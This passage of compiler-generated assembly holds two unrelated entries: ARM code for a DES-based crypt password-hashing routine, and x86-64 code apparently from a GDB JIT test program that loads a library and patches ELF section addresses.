and r3, r3, #127
ldr r1, .L76+36
add r3, r3, #256
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-12]
and r3, r3, #127
ldr r1, .L76+36
add r3, r3, #384
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-8]
lsr r3, r3, #21
and r3, r3, #127
ldr r1, .L76+36
add r3, r3, #512
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-8]
lsr r3, r3, #14
and r3, r3, #127
ldr r1, .L76+36
add r3, r3, #640
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-8]
lsr r3, r3, #7
and r3, r3, #127
ldr r1, .L76+36
add r3, r3, #768
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-8]
and r3, r3, #127
ldr r1, .L76+36
add r3, r3, #896
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r1, .L76+40
ldr r3, [fp, #-32]
str r2, [r1, r3, lsl #2]
ldr r3, [fp, #-32]
rsb r3, r3, #15
ldr r1, .L76+40
ldr r2, [fp, #-32]
ldr r2, [r1, r2, lsl #2]
ldr r1, .L76+44
str r2, [r1, r3, lsl #2]
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L74:
ldr r3, [fp, #-32]
cmp r3, #15
ble .L75
mov r3, #0
.L73:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L77:
.align 2
.L76:
.word des_initialised
.word old_rawkey0
.word old_rawkey1
.word key_perm_maskl
.word key_perm_maskr
.word key_shifts
.word comp_maskl
.word en_keysl
.word de_keysl
.word comp_maskr
.word en_keysr
.word de_keysr
.size des_setkey, .-des_setkey
.align 2
.syntax unified
.arm
.fpu softvfp
.type do_des, %function
do_des:
@ args = 4, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #60
str r0, [fp, #-48]
str r1, [fp, #-52]
str r2, [fp, #-56]
str r3, [fp, #-60]
mov r3, #0
str r3, [fp, #-20]
ldr r3, [fp, #4]
cmp r3, #0
bne .L79
mov r3, #1
b .L80
.L79:
ldr r3, [fp, #4]
cmp r3, #0
ble .L81
ldr r3, .L87
str r3, [fp, #-28]
ldr r3, .L87+4
str r3, [fp, #-24]
b .L82
.L81:
ldr r3, [fp, #4]
rsb r3, r3, #0
str r3, [fp, #4]
ldr r3, .L87+8
str r3, [fp, #-28]
ldr r3, .L87+12
str r3, [fp, #-24]
.L82:
ldr r3, [fp, #-48]
lsr r3, r3, #24
ldr r2, .L87+16
ldr r2, [r2, r3, lsl #2]
ldr r3, [fp, #-48]
lsr r3, r3, #16
and r3, r3, #255
ldr r1, .L87+16
add r3, r3, #256
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-48]
lsr r3, r3, #8
and r3, r3, #255
ldr r1, .L87+16
add r3, r3, #512
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-48]
and r3, r3, #255
ldr r1, .L87+16
add r3, r3, #768
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-52]
lsr r3, r3, #24
ldr r1, .L87+16
add r3, r3, #1024
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-52]
lsr r3, r3, #16
and r3, r3, #255
ldr r1, .L87+16
add r3, r3, #1280
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-52]
lsr r3, r3, #8
and r3, r3, #255
ldr r1, .L87+16
add r3, r3, #1536
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-52]
and r3, r3, #255
ldr r1, .L87+16
add r3, r3, #1792
ldr r3, [r1, r3, lsl #2]
orr r3, r2, r3
str r3, [fp, #-44]
ldr r3, [fp, #-48]
lsr r3, r3, #24
ldr r2, .L87+20
ldr r2, [r2, r3, lsl #2]
ldr r3, [fp, #-48]
lsr r3, r3, #16
and r3, r3, #255
ldr r1, .L87+20
add r3, r3, #256
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-48]
lsr r3, r3, #8
and r3, r3, #255
ldr r1, .L87+20
add r3, r3, #512
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-48]
and r3, r3, #255
ldr r1, .L87+20
add r3, r3, #768
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-52]
lsr r3, r3, #24
ldr r1, .L87+20
add r3, r3, #1024
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-52]
lsr r3, r3, #16
and r3, r3, #255
ldr r1, .L87+20
add r3, r3, #1280
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-52]
lsr r3, r3, #8
and r3, r3, #255
ldr r1, .L87+20
add r3, r3, #1536
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-52]
and r3, r3, #255
ldr r1, .L87+20
add r3, r3, #1792
ldr r3, [r1, r3, lsl #2]
orr r3, r2, r3
str r3, [fp, #-40]
b .L83
.L86:
ldr r3, [fp, #-28]
str r3, [fp, #-36]
ldr r3, [fp, #-24]
str r3, [fp, #-32]
mov r3, #16
str r3, [fp, #-16]
b .L84
.L85:
ldr r3, [fp, #-40]
lsl r3, r3, #23
and r2, r3, #8388608
ldr r3, [fp, #-40]
lsr r3, r3, #9
and r3, r3, #8126464
orr r2, r2, r3
ldr r3, [fp, #-40]
lsr r3, r3, #11
and r3, r3, #258048
orr r2, r2, r3
ldr r3, [fp, #-40]
lsr r3, r3, #13
and r3, r3, #4032
orr r2, r2, r3
ldr r3, [fp, #-40]
lsr r3, r3, #15
and r3, r3, #63
orr r3, r2, r3
str r3, [fp, #-12]
ldr r3, [fp, #-40]
lsl r3, r3, #7
and r2, r3, #16515072
ldr r3, [fp, #-40]
lsl r3, r3, #5
and r3, r3, #258048
orr r2, r2, r3
ldr r3, [fp, #-40]
lsl r3, r3, #3
and r3, r3, #4032
orr r2, r2, r3
ldr r3, [fp, #-40]
lsl r3, r3, #1
and r3, r3, #62
orr r2, r2, r3
ldr r3, [fp, #-40]
lsr r3, r3, #31
orr r3, r2, r3
str r3, [fp, #-8]
ldr r2, [fp, #-12]
ldr r3, [fp, #-8]
eor r2, r2, r3
ldr r3, .L87+24
ldr r3, [r3]
and r3, r3, r2
str r3, [fp, #-20]
ldr r3, [fp, #-36]
add r2, r3, #4
str r2, [fp, #-36]
ldr r2, [r3]
ldr r3, [fp, #-20]
eor r3, r3, r2
ldr r2, [fp, #-12]
eor r3, r3, r2
str r3, [fp, #-12]
ldr r3, [fp, #-32]
add r2, r3, #4
str r2, [fp, #-32]
ldr r2, [r3]
ldr r3, [fp, #-20]
eor r3, r3, r2
ldr r2, [fp, #-8]
eor r3, r3, r2
str r3, [fp, #-8]
ldr r3, [fp, #-12]
lsr r3, r3, #12
ldr r2, .L87+28
ldrb r3, [r2, r3] @ zero_extendqisi2
mov r2, r3
ldr r3, .L87+32
ldr r2, [r3, r2, lsl #2]
ldr r3, [fp, #-12]
lsl r3, r3, #20
lsr r3, r3, #20
ldr r1, .L87+28
add r3, r1, r3
add r3, r3, #4096
ldrb r3, [r3] @ zero_extendqisi2
ldr r1, .L87+32
add r3, r3, #256
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-8]
lsr r3, r3, #12
ldr r1, .L87+28
add r3, r1, r3
add r3, r3, #8192
ldrb r3, [r3] @ zero_extendqisi2
ldr r1, .L87+32
add r3, r3, #512
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-8]
lsl r3, r3, #20
lsr r3, r3, #20
ldr r1, .L87+28
add r3, r1, r3
add r3, r3, #12288
ldrb r3, [r3] @ zero_extendqisi2
ldr r1, .L87+32
add r3, r3, #768
ldr r3, [r1, r3, lsl #2]
orr r3, r2, r3
str r3, [fp, #-20]
ldr r2, [fp, #-20]
ldr r3, [fp, #-44]
eor r3, r3, r2
str r3, [fp, #-20]
ldr r3, [fp, #-40]
str r3, [fp, #-44]
ldr r3, [fp, #-20]
str r3, [fp, #-40]
.L84:
ldr r3, [fp, #-16]
sub r2, r3, #1
str r2, [fp, #-16]
cmp r3, #0
bne .L85
ldr r3, [fp, #-44]
str r3, [fp, #-40]
ldr r3, [fp, #-20]
str r3, [fp, #-44]
.L83:
ldr r3, [fp, #4]
sub r2, r3, #1
str r2, [fp, #4]
cmp r3, #0
bne .L86
ldr r3, [fp, #-44]
lsr r3, r3, #24
ldr r2, .L87+36
ldr r2, [r2, r3, lsl #2]
ldr r3, [fp, #-44]
lsr r3, r3, #16
and r3, r3, #255
ldr r1, .L87+36
add r3, r3, #256
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-44]
lsr r3, r3, #8
and r3, r3, #255
ldr r1, .L87+36
add r3, r3, #512
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-44]
and r3, r3, #255
ldr r1, .L87+36
add r3, r3, #768
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-40]
lsr r3, r3, #24
ldr r1, .L87+36
add r3, r3, #1024
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-40]
lsr r3, r3, #16
and r3, r3, #255
ldr r1, .L87+36
add r3, r3, #1280
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-40]
lsr r3, r3, #8
and r3, r3, #255
ldr r1, .L87+36
add r3, r3, #1536
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-40]
and r3, r3, #255
ldr r1, .L87+36
add r3, r3, #1792
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-56]
str r2, [r3]
ldr r3, [fp, #-44]
lsr r3, r3, #24
ldr r2, .L87+40
ldr r2, [r2, r3, lsl #2]
ldr r3, [fp, #-44]
lsr r3, r3, #16
and r3, r3, #255
ldr r1, .L87+40
add r3, r3, #256
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-44]
lsr r3, r3, #8
and r3, r3, #255
ldr r1, .L87+40
add r3, r3, #512
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-44]
and r3, r3, #255
ldr r1, .L87+40
add r3, r3, #768
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-40]
lsr r3, r3, #24
ldr r1, .L87+40
add r3, r3, #1024
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-40]
lsr r3, r3, #16
and r3, r3, #255
ldr r1, .L87+40
add r3, r3, #1280
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-40]
lsr r3, r3, #8
and r3, r3, #255
ldr r1, .L87+40
add r3, r3, #1536
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-40]
and r3, r3, #255
ldr r1, .L87+40
add r3, r3, #1792
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-60]
str r2, [r3]
mov r3, #0
.L80:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L88:
.align 2
.L87:
.word en_keysl
.word en_keysr
.word de_keysl
.word de_keysr
.word ip_maskl
.word ip_maskr
.word saltbits
.word m_sbox
.word psbox
.word fp_maskl
.word fp_maskr
.size do_des, .-do_des
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type des_cipher, %function
des_cipher:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #56
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
ldr r3, .L93
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, .L93+4
ldr r3, [r3]
cmp r3, #0
bne .L90
bl des_init
.L90:
ldr r0, [fp, #-48]
bl setup_salt
sub r3, fp, #16
mov r2, #8
ldr r1, [fp, #-40]
mov r0, r3
bl memcpy
ldr r3, [fp, #-16]
mov r0, r3
bl md_ntohl
mov r3, r0
str r3, [fp, #-28]
ldr r3, [fp, #-12]
mov r0, r3
bl md_ntohl
mov r3, r0
str r3, [fp, #-24]
sub r1, fp, #32
sub r2, fp, #36
ldr r3, [fp, #-52]
str r3, [sp]
mov r3, r1
ldr r1, [fp, #-24]
ldr r0, [fp, #-28]
bl do_des
str r0, [fp, #-20]
ldr r3, [fp, #-36]
mov r0, r3
bl md_htonl
mov r3, r0
str r3, [fp, #-16]
ldr r3, [fp, #-32]
mov r0, r3
bl md_htonl
mov r3, r0
str r3, [fp, #-12]
sub r3, fp, #16
mov r2, #8
mov r1, r3
ldr r0, [fp, #-44]
bl memcpy
ldr r3, [fp, #-20]
ldr r2, .L93
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L92
bl __stack_chk_fail
.L92:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L94:
.align 2
.L93:
.word .LC0
.word des_initialised
.size des_cipher, .-des_cipher
.section .rodata
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global xcrypt
.syntax unified
.arm
.fpu softvfp
.type xcrypt, %function
xcrypt:
@ args = 0, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #68
str r0, [fp, #-64]
str r1, [fp, #-68]
ldr r3, .L118
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r3, .L118+4
ldr r3, [r3]
cmp r3, #0
bne .L96
bl des_init
.L96:
sub r3, fp, #24
str r3, [fp, #-32]
b .L97
.L98:
ldr r3, [fp, #-64]
ldrb r2, [r3] @ zero_extendqisi2
ldr r3, [fp, #-32]
add r1, r3, #1
str r1, [fp, #-32]
lsl r2, r2, #1
and r2, r2, #255
strb r2, [r3]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
beq .L97
ldr r3, [fp, #-64]
add r3, r3, #1
str r3, [fp, #-64]
.L97:
sub r3, fp, #24
ldr r2, [fp, #-32]
sub r3, r2, r3
cmp r3, #7
bls .L98
sub r3, fp, #24
mov r0, r3
bl des_setkey
mov r3, r0
cmp r3, #0
beq .L99
mov r3, #0
b .L116
.L99:
ldr r3, [fp, #-68]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #95
bne .L101
mov r3, #1
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-44]
b .L102
.L103:
ldr r3, [fp, #-48]
ldr r2, [fp, #-68]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r0, r3
bl ascii_to_bin
mov r1, r0
ldr r3, [fp, #-48]
sub r2, r3, #1
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
lsl r3, r1, r3
mov r2, r3
ldr r3, [fp, #-44]
orr r3, r3, r2
str r3, [fp, #-44]
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L102:
ldr r3, [fp, #-48]
cmp r3, #4
ble .L103
mov r3, #5
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-40]
b .L104
.L105:
ldr r3, [fp, #-48]
ldr r2, [fp, #-68]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r0, r3
bl ascii_to_bin
mov r1, r0
ldr r3, [fp, #-48]
sub r2, r3, #5
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
lsl r3, r1, r3
mov r2, r3
ldr r3, [fp, #-40]
orr r3, r3, r2
str r3, [fp, #-40]
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L104:
ldr r3, [fp, #-48]
cmp r3, #8
ble .L105
b .L106
.L111:
sub r1, fp, #24
sub r0, fp, #24
mov r3, #1
mov r2, #0
bl des_cipher
mov r3, r0
cmp r3, #0
beq .L107
mov r3, #0
b .L116
.L107:
sub r3, fp, #24
str r3, [fp, #-32]
b .L108
.L110:
ldr r3, [fp, #-64]
add r2, r3, #1
str r2, [fp, #-64]
ldrb r3, [r3] @ zero_extendqisi2
lsl r2, r3, #1
ldr r3, [fp, #-32]
add r1, r3, #1
str r1, [fp, #-32]
ldrb r1, [r3] @ zero_extendqisi2
lsl r1, r1, #24
asr r1, r1, #24
lsl r2, r2, #24
asr r2, r2, #24
eor r2, r2, r1
lsl r2, r2, #24
asr r2, r2, #24
and r2, r2, #255
strb r2, [r3]
.L108:
sub r3, fp, #24
ldr r2, [fp, #-32]
sub r3, r2, r3
cmp r3, #7
bhi .L109
ldr r3, [fp, #-64]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L110
.L109:
sub r3, fp, #24
mov r0, r3
bl des_setkey
mov r3, r0
cmp r3, #0
beq .L106
mov r3, #0
b .L116
.L106:
ldr r3, [fp, #-64]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L111
mov r2, #9
ldr r1, [fp, #-68]
ldr r0, .L118+8
bl strncpy
ldr r3, .L118+8
mov r2, #0
strb r2, [r3, #9]
ldr r0, .L118+8
bl strlen
mov r3, r0
ldr r2, .L118+8
add r3, r3, r2
str r3, [fp, #-36]
b .L112
.L101:
mov r3, #25
str r3, [fp, #-44]
ldr r3, [fp, #-68]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
mov r0, r3
bl ascii_to_bin
mov r3, r0
lsl r4, r3, #6
ldr r3, [fp, #-68]
ldrb r3, [r3] @ zero_extendqisi2
mov r0, r3
bl ascii_to_bin
mov r3, r0
orr r3, r4, r3
str r3, [fp, #-40]
ldr r3, [fp, #-68]
ldrb r2, [r3] @ zero_extendqisi2
ldr r3, .L118+8
strb r2, [r3]
ldr r3, [fp, #-68]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
beq .L113
ldr r3, [fp, #-68]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
b .L114
.L113:
ldr r3, .L118+8
ldrb r3, [r3] @ zero_extendqisi2
.L114:
ldr r2, .L118+8
strb r3, [r2, #1]
ldr r3, .L118+12
str r3, [fp, #-36]
.L112:
ldr r0, [fp, #-40]
bl setup_salt
sub r1, fp, #52
sub r2, fp, #56
ldr r3, [fp, #-44]
str r3, [sp]
mov r3, r1
mov r1, #0
mov r0, #0
bl do_des
mov r3, r0
cmp r3, #0
beq .L115
mov r3, #0
b .L116
.L115:
ldr r3, [fp, #-56]
lsr r3, r3, #8
str r3, [fp, #-28]
ldr r3, [fp, #-28]
lsr r3, r3, #18
and r2, r3, #63
ldr r3, [fp, #-36]
add r1, r3, #1
str r1, [fp, #-36]
ldr r1, .L118+16
ldrb r2, [r1, r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-28]
lsr r3, r3, #12
and r2, r3, #63
ldr r3, [fp, #-36]
add r1, r3, #1
str r1, [fp, #-36]
ldr r1, .L118+16
ldrb r2, [r1, r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-28]
lsr r3, r3, #6
and r2, r3, #63
ldr r3, [fp, #-36]
add r1, r3, #1
str r1, [fp, #-36]
ldr r1, .L118+16
ldrb r2, [r1, r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-28]
and r2, r3, #63
ldr r3, [fp, #-36]
add r1, r3, #1
str r1, [fp, #-36]
ldr r1, .L118+16
ldrb r2, [r1, r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-56]
lsl r2, r3, #16
ldr r3, [fp, #-52]
lsr r3, r3, #16
orr r3, r2, r3
str r3, [fp, #-28]
ldr r3, [fp, #-28]
lsr r3, r3, #18
and r2, r3, #63
ldr r3, [fp, #-36]
add r1, r3, #1
str r1, [fp, #-36]
ldr r1, .L118+16
ldrb r2, [r1, r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-28]
lsr r3, r3, #12
and r2, r3, #63
ldr r3, [fp, #-36]
add r1, r3, #1
str r1, [fp, #-36]
ldr r1, .L118+16
ldrb r2, [r1, r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-28]
lsr r3, r3, #6
and r2, r3, #63
ldr r3, [fp, #-36]
add r1, r3, #1
str r1, [fp, #-36]
ldr r1, .L118+16
ldrb r2, [r1, r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-28]
and r2, r3, #63
ldr r3, [fp, #-36]
add r1, r3, #1
str r1, [fp, #-36]
ldr r1, .L118+16
ldrb r2, [r1, r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-52]
lsl r3, r3, #2
str r3, [fp, #-28]
ldr r3, [fp, #-28]
lsr r3, r3, #12
and r2, r3, #63
ldr r3, [fp, #-36]
add r1, r3, #1
str r1, [fp, #-36]
ldr r1, .L118+16
ldrb r2, [r1, r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-28]
lsr r3, r3, #6
and r2, r3, #63
ldr r3, [fp, #-36]
add r1, r3, #1
str r1, [fp, #-36]
ldr r1, .L118+16
ldrb r2, [r1, r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-28]
and r2, r3, #63
ldr r3, [fp, #-36]
add r1, r3, #1
str r1, [fp, #-36]
ldr r1, .L118+16
ldrb r2, [r1, r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-36]
mov r2, #0
strb r2, [r3]
ldr r3, .L118+8
.L116:
ldr r2, .L118
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L117
bl __stack_chk_fail
.L117:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L119:
.align 2
.L118:
.word .LC1
.word des_initialised
.word output.4804
.word output.4804+2
.word ascii64
.size xcrypt, .-xcrypt
.local output.4804
.comm output.4804,21,4
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "578150.c"
.intel_syntax noprefix
.text
.globl __jit_debug_register_code
.type __jit_debug_register_code, @function
__jit_debug_register_code:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size __jit_debug_register_code, .-__jit_debug_register_code
.globl __jit_debug_descriptor
.data
.align 16
.type __jit_debug_descriptor, @object
.size __jit_debug_descriptor, 24
__jit_debug_descriptor:
.long 1
.long 0
.quad 0
.quad 0
.section .rodata
.LC0:
.string "Usage: %s library [count]\n"
.text
.type usage, @function
usage:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR stderr[rip]
mov rdx, QWORD PTR -8[rbp]
lea rsi, .LC0[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.cfi_endproc
.LFE7:
.size usage, .-usage
.section .rodata
.LC1:
.string "jit_function_XXXX"
.LC2:
.string "jit_function_%04d"
.text
.type update_locations, @function
update_locations:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 80
mov QWORD PTR -72[rbp], rdi
mov DWORD PTR -76[rbp], esi
mov rax, QWORD PTR -72[rbp]
mov QWORD PTR -40[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov rdx, QWORD PTR 40[rax]
mov rax, QWORD PTR -72[rbp]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov rdx, QWORD PTR 32[rax]
mov rax, QWORD PTR -72[rbp]
add rax, rdx
mov QWORD PTR -24[rbp], rax
mov DWORD PTR -52[rbp], 0
jmp .L4
.L6:
mov eax, DWORD PTR -52[rbp]
movsx rdx, eax
mov rax, rdx
sal rax, 3
sub rax, rdx
sal rax, 3
mov rdx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
cmp eax, 1
jne .L5
mov eax, DWORD PTR -52[rbp]
movsx rdx, eax
mov rax, rdx
sal rax, 3
sub rax, rdx
sal rax, 3
mov rdx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov rsi, QWORD PTR 16[rax]
mov rcx, QWORD PTR -72[rbp]
mov eax, DWORD PTR -52[rbp]
movsx rdx, eax
mov rax, rdx
sal rax, 3
sub rax, rdx
sal rax, 3
mov rdx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
lea rdx, [rsi+rcx]
mov QWORD PTR 16[rax], rdx
.L5:
add DWORD PTR -52[rbp], 1
.L4:
mov rax, QWORD PTR -40[rbp]
movzx eax, WORD PTR 56[rax]
movzx eax, ax
cmp DWORD PTR -52[rbp], eax
jl .L6
mov DWORD PTR -52[rbp], 0
jmp .L7
.L13:
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov eax, DWORD PTR 4[rax]
cmp eax, 3
jne .L8
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov rdx, QWORD PTR 24[rax]
mov rax, QWORD PTR -72[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov rdx, QWORD PTR 32[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -16[rbp]
mov QWORD PTR -48[rbp], rax
jmp .L9
.L11:
mov rax, QWORD PTR -48[rbp]
lea rsi, .LC1[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L10
mov edx, DWORD PTR -76[rbp]
mov rax, QWORD PTR -48[rbp]
lea rsi, .LC2[rip]
mov rdi, rax
mov eax, 0
call sprintf@PLT
.L10:
mov rax, QWORD PTR -48[rbp]
mov rdi, rax
call strlen@PLT
add rax, 1
add QWORD PTR -48[rbp], rax
.L9:
mov rax, QWORD PTR -48[rbp]
cmp rax, QWORD PTR -8[rbp]
jb .L11
.L8:
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov rax, QWORD PTR 8[rax]
and eax, 2
test rax, rax
je .L12
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov rcx, QWORD PTR 16[rax]
mov rdx, QWORD PTR -72[rbp]
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 6
mov rsi, rax
mov rax, QWORD PTR -32[rbp]
add rax, rsi
add rdx, rcx
mov QWORD PTR 16[rax], rdx
.L12:
add DWORD PTR -52[rbp], 1
.L7:
mov rax, QWORD PTR -40[rbp]
movzx eax, WORD PTR 60[rax]
movzx eax, ax
cmp DWORD PTR -52[rbp], eax
jl .L13
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size update_locations, .-update_locations
.section .rodata
.LC3:
.string "the_stack_data/578150.c"
.align 8
.LC4:
.string "%s:%d: libname = %s, count = %d\n"
.LC5:
.string "open (\"%s\", O_RDONLY): %s\n"
.LC6:
.string "fstat (\"%d\"): %s\n"
.LC7:
.string "mmap: %s\n"
.text
.globl main
.type main, @function
main:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 240
mov DWORD PTR -228[rbp], edi
mov QWORD PTR -240[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov QWORD PTR -200[rbp], 0
mov DWORD PTR -212[rbp], 0
cmp DWORD PTR -228[rbp], 1
jg .L15
mov rax, QWORD PTR -240[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call usage
jmp .L16
.L15:
cmp QWORD PTR -200[rbp], 0
jne .L17
mov rax, QWORD PTR -240[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -200[rbp], rax
.L17:
cmp DWORD PTR -228[rbp], 2
jle .L18
cmp DWORD PTR -212[rbp], 0
jne .L18
mov rax, QWORD PTR -240[rbp]
add rax, 16
mov rax, QWORD PTR [rax]
mov rdi, rax
call atoi@PLT
mov DWORD PTR -212[rbp], eax
.L18:
mov edx, DWORD PTR -212[rbp]
mov rax, QWORD PTR -200[rbp]
mov r8d, edx
mov rcx, rax
mov edx, 148
lea rsi, .LC3[rip]
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -200[rbp]
mov esi, 0
mov rdi, rax
mov eax, 0
call open@PLT
mov DWORD PTR -204[rbp], eax
cmp DWORD PTR -204[rbp], -1
jne .L19
